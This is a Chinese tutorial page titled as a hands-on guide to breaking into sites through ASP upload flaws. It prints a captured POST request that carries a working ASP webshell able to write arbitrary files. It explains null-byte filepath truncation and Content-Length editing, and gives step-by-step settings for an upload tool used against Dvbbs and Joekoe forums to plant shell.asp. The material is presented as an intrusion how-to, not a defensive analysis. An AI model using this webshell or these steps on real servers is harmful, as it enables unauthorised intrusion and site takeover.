当前位置: 首页 > 图文教程 > 网络编程 > ASP > 实例分析ASP上传漏洞入侵实战及扩展

ASP
ASP正则表达式技巧
ASP Access实现网站计数器(访问量)
ASP新闻分页,将一篇过长的文章分页,生成静态页面
一些关于asp 购物车的想法
一个sql查询器,自动画表格填字段
ASP实现文件直接下载的代码
把网页中的(电话,qq等数字)生成图片的ASP程序
asp长文章用分页符来分页显示
Asp函数介紹(37个常用函数)
ASP中的面向对象类
分页实现方法的性能比较
asp ajax跨域提交数据
asp修改文件和文件夹的名字的代码
ASP 多关键词查询实例代码
asp被杀毒软件误删的解决方法
asp 多关键词搜索的简单实现方法
asp 根据IP地址自动判断转向分站的代码
asp dictionary对象的用法
ASP 千万级数据分页的存储过程
ASP隐藏真实文件的下载功能实现代码

实例分析ASP上传漏洞入侵实战及扩展


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 74 ::
收藏到网摘: n/a

【上传漏洞欺骗技术】

  网络上许多程序都有着上传漏洞,比如任我飞扬整站程序、动感购物商城、秋叶商城、惠信新闻系统等。本文主要讲解上传漏洞的入侵实战以及一些扩展利用。首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据。一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下:

  POST /bbs/upfile.asp HTTP/1.1

  ……. 省略了N多没用信息

Content-Length: 1792
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
-----------------------------7d52191850242
Content-Disposition: form-data; name="filepath"

uploadFace
-----------------------------7d52191850242
Content-Disposition: form-data; name="act"

upload
-----------------------------7d52191850242
Content-Disposition: form-data; name="file1"; filename="E:\木马\asp\shell.asp"
Content-Type: text/plain

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red><h2>成功!</h2><font>" %>
<% else %>
<% response.write "<font color=red><h1>失败!</h1></font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='''' method=post>" %>
<% Response.write "保存留言<font color=red>如D:\web\x.asp</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "地址来自" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "你的留言:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=sky!!>" %>
<% Response.write "</form>" %>

-----------------------------7d52191850242
Content-Disposition: form-data; name="fname"

E:\木马\asp\shell.asp
-----------------------------7d52191850242
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d52191850242--

  传递的信息我们获取了,下面就来修改下达到欺骗目的。主要修改一下几点:

  1.Content-Disposition: form-data; name="file1"; filename="E:\木马\asp\shell.asp"

  2.Content-Disposition: form-data; name="fname"

  E:\木马\asp\shell.asp

  3.最重要的地方是Content-Disposition: form-data; name="filepath"下面的值要修改下。我们修改成uploadFace\shell.asp后面怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为''\0''这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit(用Ctrl+H转换到16进制模式下)里将就空格符的20改成00)。

  4.还有一个地方也要修改,就是这句Content-Length: 1792表示提交数据的字符个数。

  如果你修改了filepath的值那么这个长度1792也要变换,一个字母或者数字的长度就是1,不要忘记最后面那个空格那个也算1。

  【上传漏洞实战】


  我们就先用漏洞的鼻祖动网论坛来实战下。从原理可以看到上传的时侯还要修改数据,还要截包,所以网上出现了许多的工具。现在我们直接用老兵的上传工具来把复杂的步骤变简单,只要修改几个数据就可以。我们来看下这个工具的界面,如下图1:


图1 老兵上传工具界面

  我们来说下工具的用法:

  Action中输入存在上传漏洞文件的URL: http://target.net/bbs/UpFile.asp;UpPath里第一个文本框中的FilePath即为表单中的FilePath,也就是上传路径,等号后面填的是上传到对方服务器上的后门的名称/shell.asp;输入一个WEB程序允许上传的类型文本框中默认JPG就可以了(一般网站都允许上传JPG图片文件);File里第一个文本框中的File1即是表单中的File1,等号后面填写所要在本机上传的木马路径;Cookies中填上我们用抓取数据包工具如WsockExpert抓取的Cookies值,记住最好是你在系统中注册后的Cookies值。

  这里以我们入侵动网论坛为例,这里Action:填入http://www.***.com/bbs/upfile.asp;UpPath第一个文本框填入:filepath;第二个填入:/shell.asp(你也可以写/bbs/shell.asp这样上传成功后就传到/bbs 目录下了!)输入一个WEB程序允许上传的类型文本框中默认JPG就好了;File第一个文本框输入:file1;第二个填入:E:\木马\asp\shell.asp (这个ASP木马是在自己机器上的路径,点后面的文件打开图标浏览找到ASP木马即可。)

  Cookies:这里不用抓包了,因为这里的上传根本不检测Cookie的哦。没有它会报错的如果都填写好了直接按“Submit”按键提交!


图2上传成功提示

  当点击Submit按钮后,最好用浏览器自己访问下,程序也会有误报的。我们用浏览器来访问下。


图3可以看到已经上传成功了

  下一步就是写入一个功能强大的木马来操作了,不再深入。

  【上传漏洞实战扩展】


  并不仅仅只有动网有上传漏洞,在网络上许许多多的程序都有这个漏洞,上传漏洞的原理一样,掌握之后即可自由发挥,具体视程序代码而定。下面我们以乔客论坛为例为大家扩展一下上传漏洞的应用。
首先注册一个正常用户并且登录,然后找到上传页面地址:http://192.168.1.3/3/upload.asp?uppath=forum&upname=&uptext=jk_word查看源码如下:
--------------------------------------------------------------------------------

<FORM name=form1 action=?action=upfile method=post encType=multipart/form-data>
<INPUT type=hidden value=forum name=up_path>
<INPUT type=hidden value=200593075710 name=up_name>
<INPUT type=hidden value=jk_word name=up_text>
<INPUT type=file size=40 name=file_name1>
<INPUT type=submit value=点击上传 name=submit>

--------------------------------------------------------------------------------

  看到源代码后,就应该知道老兵上传工具里边我们该怎么填写了。
Action中输入:http://192.168.1.3/3/upload.asp?action=upfile UpPath第一个文本框中输入:up_name;第二个中输入上传后的SHELL名称shell.asp;File 第一个文本框中输入file_name1,第二个是本机的木马文件。COOKIES这里填写抓包得到的COOKIES值,注意一定要填写用WsockExpert抓取的Cookies信息,其主要功能是用来验证!如图:


图4设置如图

  都设置好后点击Submit按钮,看到上传成功了,打开浏览器访问一下看是否成功,如图


图5上传成功

  至此已经成功的拿到webshell,就是这么简单,重要的是我们的思路要灵活,也要善于发现一个系统是否存在上传漏洞。当然至于拿到webshell后你能做什么,就看服务器的安全配置以及你的个人水平了哦,这里不做讨论。